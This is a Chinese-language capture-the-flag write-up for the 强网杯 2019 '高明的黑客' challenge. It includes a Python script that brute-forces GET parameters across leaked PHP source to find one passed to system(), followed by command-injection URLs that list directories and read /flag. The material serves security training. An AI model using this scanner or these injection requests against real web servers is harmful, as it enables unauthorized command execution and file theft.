BUUCTF [强网杯 2019] 高明的黑客
启动环境:
提示备份了网站源码到www.tar.gz
,在连接后添加后缀,下载源码:
随机打开几个文件:
可以查看到存在GET
、POST
传参,并且之后使用了system()
函数,可能存在命令执行漏洞。
所以需要从大批量php文件中找到有回显的传参,编写Python 3脚本:
import requests
import os
import re
url = 'http://xxx/'
path = '/Users/Downloads/src'
ptn_get = re.compile(br"\$_GET\['(\w+)'\]")
ptn_res = re.compile(br'success_hack')
count = 0
for f in list(os.scandir(path)):
print(str(f)[11:-2])
count += 1
with open(f.path, 'rb') as fp:
data = fp.read()
for get in set(ptn_get.findall(data)):
get = get.decode('ascii')
cmd = 'echo "success_hack";'
r = requests.get(url + f.name, params={get: cmd})
if ptn_res.search(r.content) is not None:
print(f.name, get)
exit()
应该使用多线程,等了很长时间,得到结果:
查看xk0SzyKwfzw.php
:
先访问xk0SzyKwfzw.php
页面:
在传入参数Efa5BVG
:xk0SzyKwfzw.php?Efa5BVG=ls
,得到当前文件夹下内容:
判断出命令ls
执行成功,之后就是简单的命令执行,查看根目录:xk0SzyKwfzw.php?Efa5BVG=ls /
打开flag:xk0SzyKwfzw.php?Efa5BVG=cat /flag
通过对GET
传参的爆破,得到真正的参数,再通过命令执行,得到flag。